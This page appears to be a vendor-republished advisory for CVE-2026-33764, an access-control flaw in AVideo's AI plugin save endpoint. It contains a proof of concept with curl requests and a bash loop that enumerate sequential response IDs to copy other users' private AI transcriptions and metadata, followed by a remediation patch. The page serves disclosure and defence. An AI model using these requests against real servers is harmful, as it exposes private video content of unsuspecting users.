CVE-2026-33764

The AI plugin's save.json.php endpoint loads AI response objects using an attacker-controlled $_REQUEST['id'] parameter without validating that the AI response belongs to the specified video. An authenticated user with AI permissions can reference any AI response ID, including those generated for other users' private videos, and apply the stolen AI-generated content (titles, descriptions, keywords, summaries, or full transcriptions) to their own video, effectively exfiltrating the information.

Details

In plugin/AI/save.json.php, the authorization flow checks that the user can edit the target video (Video::canEdit($videos_id) at line 23), but loads the AI response object from a completely separate, user-controlled parameter:

Line 29, metatags path (no ownership check):

if(!empty($_REQUEST['ai_metatags_responses_id'])){
    $ai = new Ai_metatags_responses($_REQUEST['id']);  // Loads ANY response by ID
    
    if (empty($ai->getcompletion_tokens())) {
        forbiddenPage('AI Response not found');
    }
}

Line 146, transcription path (no ownership check):

case 'text':
    if(!empty($_REQUEST['ai_transcribe_responses_id'])){
        $ait = new Ai_transcribe_responses($_REQUEST['id']);  // Loads ANY response by ID
        $value = $ait->getVtt();

The ObjectYPT base class constructor performs a simple database lookup with no authorization:

public function __construct($id = "", $refreshCache = false) {
    if (!empty($id)) {
        $this->load($id, $refreshCache);  // SELECT * WHERE id = ?, no permission check
    }
}

The loaded data is then applied to the attacker's video, titles via $video->setTitle() (line 49-51), descriptions via $video->setDescription() (lines 91-92, 100-101), and transcriptions via file_put_contents() (line 156).

In contrast, plugin/AI/delete.json.php correctly validates ownership by traversing to the parent Ai_responses record:

// delete.json.php lines 42-44, CORRECT ownership check
$ai = new Ai_responses($aitr->getAi_responses_id());
if ($ai->getVideos_id() == $videos_id) {
    $obj->ai_transcribe_responses_id = $aitr->delete();

This proves the developers intended ownership validation but omitted it in the save endpoint.

PoC

Prerequisites: Two user accounts (attacker and victim), both with canUseAI permission. The victim has generated AI metadata or transcription for a private video.

Step 1: Attacker enumerates AI response IDs to steal metadata

AI response IDs are sequential integers. The attacker supplies their own videos_id (which they can edit) but references a victim's AI response id:

# Attacker owns video ID 5, victim's AI metatags response is ID 42
curl -b "attacker_cookies" \
  "https://target.example/plugin/AI/save.json.php" \
  -d "videos_id=5&ai_metatags_responses_id=1&id=42&label=videoTitles&index=0"

Expected result: The victim's AI-generated title (from their private video) is applied to the attacker's video (ID 5). The attacker reads back their video to see the stolen title.

Step 2: Attacker steals full transcription (higher impact)

# Victim's AI transcription response is ID 17
curl -b "attacker_cookies" \
  "https://target.example/plugin/AI/save.json.php" \
  -d "videos_id=5&ai_transcribe_responses_id=1&id=17&label=text"

Expected result: The victim's VTT transcription file is written to the attacker's video directory. The attacker can now access the full spoken content of the victim's private video by requesting the VTT subtitle file for their own video.

Step 3: Enumerate all responses

# Iterate through sequential IDs to harvest all AI responses
for id in $(seq 1 100); do
  curl -s -b "attacker_cookies" \
    "https://target.example/plugin/AI/save.json.php" \
    -d "videos_id=5&ai_metatags_responses_id=1&id=${id}&label=videoTitles&index=0"
done

• Confidentiality breach of private video content: An attacker can steal full transcriptions (VTT subtitles) generated by AI for other users' private videos, revealing the complete spoken content without ever accessing the video file itself.
• Metadata exfiltration: AI-generated titles, descriptions, keywords, summaries, and content ratings from other users' private videos can be read by applying them to the attacker's own video.
• Trivial enumeration: AI response IDs are sequential integers, allowing an attacker to systematically harvest all AI-generated content across the platform.
• Low barrier: Any user with canUseAI permission who owns at least one video can exploit this. No admin access required.

CVE-2026-33764 has a CVSS score of 4.3 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

Add ownership validation in save.json.php matching what delete.json.php already does. Load the parent Ai_responses record and verify getVideos_id() matches the provided $videos_id:

// For metatags (after line 29):
if(!empty($_REQUEST['ai_metatags_responses_id'])){
    $ai = new Ai_metatags_responses($_REQUEST['id']);
    
    if (empty($ai->getcompletion_tokens())) {
        forbiddenPage('AI Response not found');
    }
    
    // ADD: Ownership validation
    $aiParent = new Ai_responses($ai->getAi_responses_id());
    if ($aiParent->getVideos_id() != $videos_id) {
        forbiddenPage('AI Response does not belong to this video');
    }
}

// For transcriptions (at line 146, inside case 'text'):
$ait = new Ai_transcribe_responses($_REQUEST['id']);

// ADD: Ownership validation
$aitParent = new Ai_responses($ait->getAi_responses_id());
if ($aitParent->getVideos_id() != $videos_id) {
    forbiddenPage('AI Response does not belong to this video');
}

$value = $ait->getVtt();

1. What is CVE-2026-33764? CVE-2026-33764 is a medium-severity security vulnerability in wwbn/avideo (composer), affecting versions <= 26.0. No fixed version is listed yet.
2. How severe is CVE-2026-33764? CVE-2026-33764 has a CVSS score of 4.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of wwbn/avideo are affected by CVE-2026-33764? wwbn/avideo (composer) versions <= 26.0 is affected.
4. Is there a fix for CVE-2026-33764? No fixed version is listed for CVE-2026-33764 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-33764 exploitable, and should I be worried? Whether CVE-2026-33764 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-33764 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.